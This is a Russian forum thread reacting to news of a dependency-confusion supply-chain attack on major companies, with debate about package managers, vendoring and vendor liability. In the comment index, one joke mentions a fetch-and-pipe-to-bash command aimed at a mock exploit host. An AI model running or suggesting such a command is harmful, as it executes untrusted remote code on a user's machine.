Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы		[ Отслеживать ]

Атака на зависимости позволила выполнить код на серверах PayPal, Micrоsoft, Apple, Netflix, Uber и ещё 30 компаний, opennews (?), 10-Фев-21, (0) [смотреть все] Нужно больше зависимостей и скриптов установки , Leftpad (?), 11:03 , 10-Фев-21, (1) +55 // Скрыто модератором, Лудакрис (?), 11:08 , 10-Фев-21, (3) –12 // Скрыто модератором, Аноним (6), 11:15 , 10-Фев-21, (6) –4 // Скрыто модератором, Лудакрис (?), 11:31 , 10-Фев-21, (12) –5 Скрыто модератором, Аноним (58), 13:24 , 10-Фев-21, (58) +1 Не зря же в расте даже базовые возможности - во внешних модулях Растаманы приго, Аноним (8), 11:18 , 10-Фев-21, (8) +11 // https www reddit com r rust comments lgl7bf is_cargo_vulnerable_to_this_supply, Аноним (65), 13:30 , 10-Фев-21, (65) +5 // Озвучу для тех, кому лень переходить Нет, в карго такой уязвимости нет Но это в, topin89 (ok), 20:08 , 10-Фев-21, (147) +5 В смысле, никто не думал заранее Я всегда считал это багом многих утилит работы , rex (??), 13:30 , 18-Фев-21, (202) Больше зависимостей богу зависимостей Да здравствует leftpad , Аноним (10), 11:20 , 10-Фев-21, (10) +9 // Да здравствует Haskell , Аноним (-), 15:04 , 10-Фев-21, (101) ЛапкоКодеры импортируют на лету непроверенное гавно из внешних источников в прод, ЧешкиЧехова (?), 19:07 , 11-Фев-21, (180) +4 // давайте тогда делать вебсайты без этих ваших фреймворков и MVC, будем складывать, Aga (??), 00:03 , 14-Фев-21, (196) ЧСХ пока так делали - работало явно лучше Во всяком случае, гиг RAM на рендер н, Аноним (-), 08:14 , 14-Фев-21, (198) +2 Принцип модульности Орлова если из распечатки одного модуля программы можно сви, rico (ok), 18:52 , 18-Фев-21, (203) Вполне нормальное явление Иначе зачем все эти либы и фреймворки, сильные обойду, RedEyedMan (ok), 14:09 , 26-Фев-21, (204) Нужно больше васянских библиотек и костылей на вызов одной функции , Dzen Python (ok), 12:50 , 10-Фев-21, (38) // Так, блин, это ж программировать надо А вот это вебмакаки не умеют Ну, скольк, Аноним (-), 03:38 , 12-Фев-21, (184) –1 Правильно, если у тебя в большом проекте 1 000 000 однострочников и ты использов, Аноним (48), 13:08 , 10-Фев-21, (48) +7 // Вообще-то, когда приходится фиксить сотни чужих пакетов, это достаточный повод с, YetAnotherOnanym (ok), 14:19 , 10-Фев-21, (84) +11 // Или заводить трактор, взяв месяц больничного и месяц отпуска, оплачиваемых , Bob (??), 00:09 , 12-Фев-21, (183) +1 Так писали наши деды Раньше позорным считалось переиспользование кода не только, Аноним (102), 15:06 , 10-Фев-21, (102) +1 // или просто Java-программист, italliano monkey (?), 00:03 , 11-Фев-21, (157) +1 Наши деды славные победы, вот где наши деды , Sample (??), 14:58 , 01-Мрт-21, (205) то ты сделал что-то ну вот вообще совсем не так , Аноним (-), 03:39 , 12-Фев-21, (185) +1 Вообще от зависимостей надо лечиться, а то в диспансер на учёт поставят , InuYasha (??), 22:27 , 10-Фев-21, (153) +6 Ваш комментарий в моей голове был озвучен голосом нежити из Варкрафта 3 , Аноним (200), 14:14 , 15-Фев-21, (200) всё гениальное просто, Леголас (ok), 11:06 , 10-Фев-21, (2) +9 // Природа красива в простоте сложности и сложности простоты Не удаётся скрыться о, AHOHUM (?), 13:14 , 10-Фев-21, (51) –2 // Недавно я с удивлением заметил, какому количеству полезных вещей мы обязаны раст, Аноним (194), 00:49 , 13-Фев-21, (194) Скрыто модератором, DildoZilla (?), 11:14 , 10-Фев-21, (4) –6 Дыра Раста проблема тоже касается , Аноним (5), 11:15 , 10-Фев-21, (5) –2 // а есть упоминание читайте внимательнее, глупые аноны, это нелегко, знаю, но пыт, Лудакрис (?), 11:36 , 10-Фев-21, (18) +1 // Нет упоминанй, потому что Растом и его пакетником в не пользуются , Аноним (21), 11:41 , 10-Фев-21, (21) Не хами , Аноним (5), 11:42 , 10-Фев-21, (22) Я не тот анон, но там написано в других системах, таких как и дальше привод, Аноним (48), 13:12 , 10-Фев-21, (49) +1 // Проблема ещё шире переменчивость артефактов во внешних сетях Человеки делают не, An O Nim (?), 16:13 , 10-Фев-21, (113) +3 Да В интернете может что угодно в любой момент исчезнуть навсегда, не оставив с, Аноним (194), 00:51 , 13-Фев-21, (195) Нет, там нужно указывать registry, откуда качать пакет , Ананимус (?), 11:53 , 10-Фев-21, (25) +2 Не раста, а cargo Именно эта не касается, тк зависимости качаются по дефолту с , cheater (?), 12:03 , 10-Фев-21, (30) +5 // Да, это проблема и не только cargo, но и всего раста, потому что все используют , Аноним (5), 12:09 , 10-Фев-21, (32) +3 // cargo умеет работать с git-репозиториями и локальными пакетами , Siborgium (ok), 12:28 , 10-Фев-21, (37) +1 И На локальные пакеты он сможет сослаться в уже скомпилированном состоянии А на, Dzen Python (ok), 12:53 , 10-Фев-21, (39) –2 В уже скомпилированном состоянии он будет содержать крейты в себе Раст все расто, Аноним (68), 13:38 , 10-Фев-21, (68) +1 Карл, а что делали растаманы 15 лет , Аноним (8), 13:58 , 10-Фев-21, (79) –2 Ничего не делали, я уже говорил в соседнем топике Раскручивали язык, чтобы взят, Ordu (ok), 14:30 , 10-Фев-21, (90) –2 Да у них и сам яп бесполезен без сишно-сиплюсплюсного LLVM а Это не мешаер раст, Аноним (-), 03:43 , 12-Фев-21, (186) –3 Вопрос некорректен, тк скомпилированный бинарник на расте - это обычный ELF или , cheater (?), 13:57 , 10-Фев-21, (78) +2 Мне интереснее, а можно ли при сборке приложения с помощью cargo использовать то, Аноним (5), 12:54 , 10-Фев-21, (41) +3 Позволен git, путь, и crates io Можно создать свой https github com rust-lang, Аноним (68), 13:43 , 10-Фев-21, (70) +1 Называется это crates io registry https doc rust-lang org cargo reference re, Аноним (68), 13:45 , 10-Фев-21, (72) –1 написал вместо того что бы сказать нет , Аноним (119), 17:14 , 10-Фев-21, (119) +1 Это unsafe и не позволяет делать запланированное устаревание, Аноним (-), 17:56 , 10-Фев-21, (128) +1 Вопрос не очень понятен 99 999 процентов пакетов в расте имеют внешние завис, cheater (?), 18:25 , 10-Фев-21, (134) +1 Даже если сделать cargo vendor , то изначально все равно крейты попадут в локал, Аноним (5), 19:53 , 10-Фев-21, (146) –1 Да, уважающие себя дистрибутивы, вроде Дебиана и Федоры так и делают, поэтому в , Аноним (149), 20:29 , 10-Фев-21, (149) +1 Если у тебя конечно есть доступ к репозиторию , Аноним (68), 12:22 , 10-Фев-21, (34) А при чем тут Раст Он же не скриптовый вроде, Аноним (68), 12:24 , 10-Фев-21, (35) –4 // Проблема не в языках, а в пакетных менеджерах , pda (?), 13:26 , 10-Фев-21, (59) а там написано, но это ж читать букавки надо, чему многи не обучены , Аноним (156), 23:38 , 10-Фев-21, (156) +1 в русте зависимости ставятся через wget https sploit onion l33t sh 124 bash, Аноним (199), 23:56 , 14-Фев-21, (199) Рекомендации по защите не работают Работает только система, которая безопасна из, тоже Аноним (ok), 11:17 , 10-Фев-21, (7) +13 Они что, объявляли их просто как пакеты, а не ссылкой на каталог файл типа file , Lex (??), 11:20 , 10-Фев-21, (11) +1 // Ты что Там жЫ уважаемые девляпсы и сениоры Они такой код пишуть - аж закачаешь, Dzen Python (ok), 12:54 , 10-Фев-21, (40) –2 // Не пишут b ь b А рисуют b Ъ b Баги фиксят в продукте исправлением па, AHOHUM (?), 13:20 , 10-Фев-21, (54) +3 Скорее уволят начотдела, у которого програмеры пишут недостаточно быстро , YetAnotherOnanym (ok), 17:07 , 10-Фев-21, (118) +1 Так им всем и надо , ryoken (ok), 11:32 , 10-Фев-21, (14) +1 Руст или вообще какой-нибудь петон Мы то знаем , Аноним (-), 11:46 , 10-Фев-21, (23) +1 А как они узнали их имена , Аноним (24), 11:51 , 10-Фев-21, (24) // А если кто то забудет там пароли , Аноним (24), 11:55 , 10-Фев-21, (26) +3 // На этот случай есть безопасТное восстановление паролей через ваши безопасТные мо, Аноним (-), 05:43 , 14-Фев-21, (197) ну например если дотнет то прям в файле проекта PackageReference Include Fck U , kissmyass (?), 12:02 , 10-Фев-21, (29) +3 // В смысле Разве оно первым делом не локальный файл ищет Весь смысл подобных шт, Аноним (24), 14:20 , 10-Фев-21, (85) –1 // Локально это где Nuget пакет не поставляется с самим проектом , kissmyass (?), 15:03 , 10-Фев-21, (100) а если доступа к коду нет, но есть к бинарникам, то обычно одна ассембли - один , kissmyass (?), 12:04 , 10-Фев-21, (31) Использовали бы FreeBSD и её дерево портов, проблем бы не было , bsdun (?), 11:58 , 10-Фев-21, (27) +2 Я тоже немного офигел когда приватные пакеты искались на nuget orgСамый очевидны, kissmyass (?), 11:58 , 10-Фев-21, (28) –1 // а Nexus не накачает с nuget org более новых версий, чем локальные , JL2001 (ok), 14:21 , 10-Фев-21, (86) // Насколько я знаю, там надо апрувить пакеты на кеширование Если пакета нет, то по, kissmyass (?), 15:09 , 10-Фев-21, (103) –1 // возможно от настроек зависит, наш выкачивает автоматом, JL2001 (ok), 15:55 , 10-Фев-21, (109) Зависимости эт плохо пнятненько, Fracta1L (ok), 12:10 , 10-Фев-21, (33) +1 // Сильвупле, Сишные дырени (?), 20:09 , 10-Фев-21, (148) +1 composer у php не подвержен такой бяке , qweqwe (?), 12:27 , 10-Фев-21, (36) +1 // Если сам не наделаешь, Аноним (88), 14:24 , 10-Фев-21, (88) Защита методом безопасность через неясность - говно В нормальных компаниях про, Аноним (42), 12:54 , 10-Фев-21, (42) +3 // Это где так , Аноним (-), 12:57 , 10-Фев-21, (43) +3 // банк, Атон (?), 21:12 , 10-Фев-21, (151) // огласите название, плзбанк резервного фонда сша имени масонов их СБ памятник в п, JL2001 (ok), 02:17 , 11-Фев-21, (162) крупный банк сбер, втб, райф, другиеникто не знает как, но времени это занимае, Атон (?), 14:41 , 11-Фев-21, (174) –1 В нормальных компаниях к тому моменту, когда они выкладывают код имеют зрелый пр, Dzen Python (ok), 12:58 , 10-Фев-21, (44) –2 Если уж этим на проверены службой безопасности не хватает, то где тогда норма, Аноним (46), 13:05 , 10-Фев-21, (46) +1 втф ловите эльфа наркомана , JL2001 (ok), 14:23 , 10-Фев-21, (87) // Пользователи Windows, скачавшие её с торрентов у Васяна и потом качающие на неё , www2 (??), 15:33 , 10-Фев-21, (106) +3 // покажите мне сертефицированную ОСь, где сертефицированные обновления безопасност, JL2001 (ok), 18:15 , 10-Фев-21, (132) Этот случай только лишний раз доказывает ущербность идеи автоматических пакетов, Gogi (??), 13:02 , 10-Фев-21, (45) +2   // Может наоборот Там где комерческое - то пофиг, барин то платит , Аноним (-), 13:06 , 10-Фев-21, (47)   // Считается, что так тоже не катит Т к в полезного в коммерческом вырастет тот, , An O Nim (?), 16:18 , 10-Фев-21, (114)   а линуксы в продакшене ты как обновляешь, братюнь зы какова ответственность ред, JL2001 (ok), 14:28 , 10-Фев-21, (89) –1   // Редхат как раз и есть внутренние штатные репо самого дистра RHE Линукс Репы RHE, An O Nim (?), 16:24 , 10-Фев-21, (115) –2   // я купил суппорт редхата, подключил их репы, автор оченьНужнойПрограммы обсфурцир, JL2001 (ok), 18:24 , 10-Фев-21, (133)   В теории ментейнер пакетов это не просто человек-компилятор, а ещё и в код смотр, Аноним (152), 22:25 , 10-Фев-21, (152) +2   это то понятненько, что смотрит в теории но вот сейчас у меня вопрос - какая от, JL2001 (ok), 02:20 , 11-Фев-21, (163)   очень простая - ни одна айти контора не будет нести ответственность за твой бизн, fske (?), 18:44 , 11-Фев-21, (178)   ну раздавал же редхат непонятно кем и как модифицированный и, что характерно - , пох. (?), 17:50 , 10-Фев-21, (124) +1   Поддерживаю Собственно поэтому приходится у себя в гит репозитории хранить все , Аноним (139), 19:01 , 10-Фев-21, (139)   Против выступать легко А что в замен предложите , anonymous (??), 11:17 , 11-Фев-21, (171) +1   Так я и не понял, это баг или фича , Андрей (??), 13:13 , 10-Фев-21, (50) +2 // Это фича А сабж это атака через фичу Почти что социнженерия , Аноним (58), 13:27 , 10-Фев-21, (60) +1 Это квантовое программирование, багофича Шредингера Будущее наступило , Аноним (62), 13:28 , 10-Фев-21, (62) –1 И как раст от такого спасет А вы говорите безопасный язык А раст такая же дыре, Аноним (58), 13:15 , 10-Фев-21, (52) –2 // crate не подвержен этой проблеме , pda (?), 13:30 , 10-Фев-21, (63) // Скрыто модератором, Платные Эксплоиты и Шифровальщики (?), 13:47 , 10-Фев-21, (73) –4 Во-первых в rust этой уязвимости нет Во-вторых rust -- это про safety, а не про, anonymous (??), 11:19 , 11-Фев-21, (172) +1 Не глупо ли это само по себе - выкладывать на публику проекты, зависящие от неоп, Аноним (55), 13:21 , 10-Фев-21, (55) –1 // они и не выкладываютв манифесте внутри опубликованного бинарника осталась инфа, JL2001 (ok), 14:32 , 10-Фев-21, (91) +3 запускайте npm pip gems install на машинах разработчиков без изоляции, он вам и , Аноним (61), 13:27 , 10-Фев-21, (61) +1 // а иначе нихрена не работает и не собирается И что вот делааааать будииим , пох. (?), 17:51 , 10-Фев-21, (125) // Микросервис в вебассемблю в контейнер в виртуальную машину в облаке , Аноним (152), 22:28 , 10-Фев-21, (154) +2 // А в яйце игла, Аноним (201), 18:46 , 16-Фев-21, (201) чо там, пацаны, давно в vlc-ppa публиковали linux-generic-7 0 1 , JL2001 (ok), 13:30 , 10-Фев-21, (64) +2 pred post-install запускать от рута, говорили они, ничего не будет, всегда так д, JL2001 (ok), 13:36 , 10-Фев-21, (66) –2 // Оно и без рута отлично линукс юзерам установит сервисы , Аноним (61), 13:50 , 10-Фев-21, (76) +1 Мой любимый кошмар на работе - почти каждый проект закачивает пол интернета при , PetrG (ok), 13:44 , 10-Фев-21, (71) +3 // Выкачать всё в локальный репозиторий, сделать локальные пакеты Запретить качать, Аноним (58), 14:46 , 10-Фев-21, (93) +1 // Чем отличается фиксация пакетов с малварями от скачивания актуальной версии малв, Аноним (61), 14:58 , 10-Фев-21, (99) +4 // типо о старых версиях типо уже должна была поднятья шумиха, если что , JL2001 (ok), 15:50 , 10-Фев-21, (107) +1 Поднялась шумиха, и твой пакетик на проде клиента дальше летит с вирусами , Аноним (61), 19:27 , 10-Фев-21, (142) А как же Perl 3, Аноним (74), 13:49 , 10-Фев-21, (74) // Залатали временно, Аноним (61), 13:50 , 10-Фев-21, (75) Вернули домен, Аноним (81), 14:06 , 10-Фев-21, (81) +2 // А зря , Аноним (189), 14:41 , 12-Фев-21, (189) вот тебе и DevУпс , Аноним (77), 13:55 , 10-Фев-21, (77) Очевидная атака Удивительно что такие компании при сборке используют зависимост, Аноним (80), 14:01 , 10-Фев-21, (80) // Проверки подписи не у всех есть, да и проверяет вначале публичные репы и только , Аноним (61), 14:06 , 10-Фев-21, (82) +1 // Скачивают руками, локально и только потом собираю Шарится по сторонним репам все, Аноним (110), 15:59 , 10-Фев-21, (110) +1 Анониму всё очевидно, но 130К грина ушло опять не ему , Страдивариус (?), 16:46 , 10-Фев-21, (116) +2 Для пистона это норма Даже прожекты с мегатоннами звест на гитхубе, имеют мегат, Аноним (74), 14:07 , 10-Фев-21, (83) +4 // Ну все значит нам нужна единая платформа, которая будет монолитна полностью запр, Аноним (58), 14:44 , 10-Фев-21, (92) –1 // Может не нужна платформа, а достаточно просто научиться программировать и делать, Аноним (97), 14:56 , 10-Фев-21, (97) +2 // а вас то научили как коммунизм построить , JL2001 (ok), 15:52 , 10-Фев-21, (108) –1 Проблема не в зависимостях, а в навыках и культуре разработки, которые хромают у, Аноним (74), 15:15 , 10-Фев-21, (104) // Проблема не в навыках, а в том что рынку нужно быстро и дешево За идеальных сфе, Стереопаштет (?), 06:10 , 12-Фев-21, (187) +1 А что разве в GO уже переделали Раньше в GO чтобы цеплять файлы с гитхаба нужн, Аноним (24), 14:54 , 10-Фев-21, (94) –2 // go mod vendor тебе в помощь В голанге не так , Брат Анон (ok), 16:10 , 10-Фев-21, (112) +1 в Go - ещё лучше на go get, go лезет к гуглу и спрашивает у него, можно ли скач, еман (?), 22:15 , 11-Фев-21, (181) Чем проще разработка, тем проще эксплуатация уязвимостей , Оуноуним (?), 14:56 , 10-Фев-21, (96) +1 // Тем проще ее заметить Вон в ядре поди чего только нет исходники то открыты , Аноним (24), 14:58 , 10-Фев-21, (98) –1 // И как, заметили Пока чуваки не пришли с мешком для денег , пох. (?), 17:53 , 10-Фев-21, (126) –1 // Заманивать хакера на живца деньги печеньки , Аноним (145), 19:30 , 10-Фев-21, (145) +1 Странно что никто не озадачился проверкой базовых образов на которых собираются , Erley (ok), 15:23 , 10-Фев-21, (105) +4 // Местные комментаторы уже давно знают что даже в надежном источнике с проверенной, Аноним (145), 19:29 , 10-Фев-21, (144) // плюсую, бро 111, JL2001 (ok), 02:12 , 11-Фев-21, (161) Так-то вендоринг в golang великая сила Правда, это тоже не спасёт, если внешний, Брат Анон (ok), 16:09 , 10-Фев-21, (111) –1 Скрыто модератором, Аноним (117), 17:01 , 10-Фев-21, (117) –1 // Скрыто модератором, пох. (?), 17:56 , 10-Фев-21, (127) –1 Похоже, что пакетный ад Javascript дал о себе знать , Аноним (120), 17:17 , 10-Фев-21, (120) +1 // так и тут кровавая рука жаваскрипта , JL2001 (ok), 18:28 , 10-Фев-21, (135) // Не так страшен жараскрипт как те кто на нем пишут , Аноним (145), 19:28 , 10-Фев-21, (143) +4 // как то, что на нём пишут , InuYasha (??), 22:29 , 10-Фев-21, (155) +1 Вообще-то когда скачивается пакет, должна подпись проверяться , Аноним (120), 17:24 , 10-Фев-21, (121) –2 // дык, норм у него была подпись - в точности того чувака, который его честно созда, пох. (?), 17:57 , 10-Фев-21, (129) +2 так она и проверилась, и вернаяно репозиторий другой и автор пакета другойя не з, JL2001 (ok), 18:30 , 10-Фев-21, (136) // Есть лучше вариант 8212 пинить версии пакетов и всех зависимостей конечно и, Аноним (167), 05:19 , 11-Фев-21, (167) // у меня есть проект-либа и 100500 зависящих от неё проектовя апаю версию либы и д, JL2001 (ok), 18:45 , 11-Фев-21, (179) Зачем тестировать Просто пользуйтесь Пользуйтесь все Пока гром не грянет, муж, mumu (ok), 17:24 , 10-Фев-21, (122) // Ну ты же понимаешь, что необходимость поддерживать функции оригинала скачав его, пох. (?), 17:58 , 10-Фев-21, (130) –1 Вы про Герасима , Леголас (ok), 18:50 , 10-Фев-21, (138) Всего 130 тысяч долларов, за такую черную ды ру, вас на , Аноним (123), 17:49 , 10-Фев-21, (123) +2 // Чуваки просили передать, что мешок, в котором они уволокли дань, ничуть от этого, пох. (?), 20:34 , 10-Фев-21, (150) –1 Вот зачем девопсы нужны , Аноним (131), 18:15 , 10-Фев-21, (131) –3 // Девпсы бесполезные существа , Аноним (61), 18:44 , 10-Фев-21, (137) –1 // Ненавижу девопсов Меня в детстве огромный лохматый девопс покусал за ногу , Рр (?), 06:15 , 12-Фев-21, (188) –1 Девляпсы опять налетели на проблемы говнорепозитариев Удивительно, правда , Аноним (140), 19:07 , 10-Фев-21, (140) // Смузи разработчики не умеют разрабатывать , Аноним (145), 19:27 , 10-Фев-21, (141) +1 75 от всех зафиксированных запусков кода были связаны с загрузкой NPM- Вот это , srgazh (ok), 00:13 , 11-Фев-21, (158) –1 Молодец человек Увидел возможность, реализовал и очень не плохо на ней заработал, Ilya Indigo (ok), 01:01 , 11-Фев-21, (159) +1 // А мог бы стать миллионом собирая фермы на ригах, Аноним (176), 15:49 , 11-Фев-21, (176) +2 Внешние автоматически выкачиваемые зависимости 8212 это всегда риск А вдруг з, Аноним (160), 02:10 , 11-Фев-21, (160) +1 // а внешнее НЕ автоматическое выкачивание зависимостей - это как или у вас тоже, JL2001 (ok), 02:24 , 11-Фев-21, (164) Вот кто бы сомневался во всех этох npn, ruby-чего-то там Там же будет и всё оста, deeaitch (ok), 04:05 , 11-Фев-21, (165) Надуманная проблема для python --extra-index-url там никто не использует, кроме , Аноним (167), 05:16 , 11-Фев-21, (166) А как выполнить произвольный код в NuGet-пакете после его загрузки, если ни один, .NET (?), 14:09 , 11-Фев-21, (173) Другим урок Расслабляться нельзя Всё время надо быть на чеке , Аноним (189), 14:43 , 12-Фев-21, (191) 1,2,5,7,11,14,23,24,27,28,33,36,42,45,50,52,55,61,64,66,71,74,77,80,83,94,96,105,111,120,121,122,123,131,140,158,159,160,165,166,173,191

Сообщения

[Сортировка по времени | RSS]

45. "Атака на зависимости позволила выполнить код на серверах Pay..."	+2 +/–
Сообщение от Gogi (??), 10-Фев-21, 13:02
Этот случай только лишний раз доказывает ущербность идеи "автоматических пакетов". Сеть априори считается ОПАСНЫМ местом. А вы оттуда тягаете пакеты на автомате и надеетесь, что хакеры это пропустят?? :) Я уже несколько лет выступаю против нюГетов и подобных rовноподелий - им не место в продакшене! Для самопальных перделок - ради бога, но где идёт коммерческое ПО - сразу вон поганой метлой!
Ответить | Правка | Наверх | Cообщить модератору

	47. "Атака на зависимости позволила выполнить код на серверах Pay..."	+/–
	Сообщение от Аноним (-), 10-Фев-21, 13:06
	Может наоборот ? Там где комерческое - то пофиг, барин то платит.
	Ответить | Правка | Наверх | Cообщить модератору

	114. "Атака на зависимости позволила выполнить код на серверах Pay..."	+/–
	Сообщение от An O Nim (?), 10-Фев-21, 16:18
	Считается, что так тоже не катит. Т.к. в полезного в коммерческом вырастет тот, кто заботится. Двуличка с хорошим результатом - редкость. Кому пофиг - халтурщики. Они уходят на сторону или не растут.
	Ответить | Правка | Наверх | Cообщить модератору

	89. "Атака на зависимости позволила выполнить код на серверах Pay..."	–1 +/–
	Сообщение от JL2001 (ok), 10-Фев-21, 14:28
	> Этот случай только лишний раз доказывает ущербность идеи "автоматических пакетов". Сеть > априори считается ОПАСНЫМ местом. А вы оттуда тягаете пакеты на автомате > и надеетесь, что хакеры это пропустят?? :) > Я уже несколько лет выступаю против нюГетов и подобных rовноподелий - им > не место в продакшене! Для самопальных перделок - ради бога, но > где идёт коммерческое ПО - сразу вон поганой метлой! а линуксы в продакшене ты как обновляешь, братюнь? зы: какова ответственность редхата за появление в его репозитории дырявого или протрояненого самим автором программы пакета?
	Ответить | Правка | К родителю #45 | Наверх | Cообщить модератору

	115. "Атака на зависимости позволила выполнить код на серверах Pay..."	–2 +/–
	Сообщение от An O Nim (?), 10-Фев-21, 16:24
	Редхат как раз и есть внутренние штатные репо самого дистра RHE Линукс. Репы RHEL как раз внутренние репо самого RHEL. А вот бездумное добавление в yum-dnf.conf реп третьих сторон даст уязвимость как в новости. И некоторые и так тоже делают... Всякие там PPA репо и прочие с хабров и т.п. "авторитетных" площадок. Шапкины репы - внутренние для Шапки. Тут-то очень всё норм.
	Ответить | Правка | Наверх | Cообщить модератору

	133. "Атака на зависимости позволила выполнить код на серверах Pay..."	+/–
	Сообщение от JL2001 (ok), 10-Фев-21, 18:24
	> Редхат как раз и есть внутренние штатные репо самого дистра RHE Линукс. > Репы RHEL как раз внутренние репо самого RHEL. > А вот бездумное добавление в yum-dnf.conf реп третьих сторон даст уязвимость как > в новости. И некоторые и так тоже делают... Всякие там PPA > репо и прочие с хабров и т.п. "авторитетных" площадок. > Шапкины репы - внутренние для Шапки. Тут-то очень всё норм. я купил суппорт редхата, подключил их репы, автор оченьНужнойПрограммы обсфурцировал трояна в обновлении (крызыс, все выживают, как могут), оно попало в редхатовские репы, я обновился, меня хакнули какую ответственность несёт редхат?
	Ответить | Правка | Наверх | Cообщить модератору

	152. "Атака на зависимости позволила выполнить код на серверах Pay..."	+2 +/–
	Сообщение от Аноним (152), 10-Фев-21, 22:25
	В теории ментейнер пакетов это не просто человек-компилятор, а ещё и в код смотрит и правит перед компиляцией если нужно. Хотя я почти уверен, что у красной шляпы соглашение написано не хуже чем у MS.
	Ответить | Правка | Наверх | Cообщить модератору

	163. "Атака на зависимости позволила выполнить код на серверах Pay..."	+/–
	Сообщение от JL2001 (ok), 11-Фев-21, 02:20
	> В теории ментейнер пакетов это не просто человек-компилятор, а ещё и в > код смотрит и правит перед компиляцией если нужно. Хотя я почти > уверен, что у красной шляпы соглашение написано не хуже чем у > MS. это то понятненько, что смотрит (в теории) но вот сейчас у меня вопрос - какая ответственность прописана у редхата/оракла/итд если их мантейнер не смог рассмотреть если пришедший пакет повлёк денежный, репутационный, моральный ущерб
	Ответить | Правка | Наверх | Cообщить модератору

	178. "Атака на зависимости позволила выполнить код на серверах Pay..."	+/–
	Сообщение от fske (?), 11-Фев-21, 18:44
	>какая ответственность прописана у редхата/оракла/итд очень простая - ни одна айти контора не будет нести ответственность за твой бизнес, который может пострадать из-за использования или неиспользования их продуктов.
	Ответить | Правка | Наверх | Cообщить модератору

	124. "Атака на зависимости позволила выполнить код на серверах Pay..."	+1 +/–
	Сообщение от пох. (?), 10-Фев-21, 17:50
	> зы: какова ответственность редхата за появление в его репозитории дырявого или протрояненого > самим автором программы пакета? ну раздавал же редхат непонятно кем и как модифицированный (и, что характерно - подписанный) ceph - и ничего, никто не пострадал. Причем, кажется, так и не выяснилось, что это было и что случилось у тех кто успел савтоапгрейдиться. Ну да, редхат врал что я не я, корова не моя, и вообще это другой, неправильный редхат сделал. А разбор инцидента, по-моему, так и зажал.
	Ответить | Правка | К родителю #89 | Наверх | Cообщить модератору

	139. "Атака на зависимости позволила выполнить код на серверах Pay..."	+/–
	Сообщение от Аноним (139), 10-Фев-21, 19:01
	Поддерживаю. Собственно поэтому приходится у себя в гит репозитории хранить все эти миллиарды пакетов. Неудобно, да. Но куда деваться?
	Ответить | Правка | К родителю #45 | Наверх | Cообщить модератору

	171. "Атака на зависимости позволила выполнить код на серверах Pay..."	+1 +/–
	Сообщение от anonymous (??), 11-Фев-21, 11:17
	Против выступать легко. А что в замен предложите?
	Ответить | Правка | К родителю #45 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема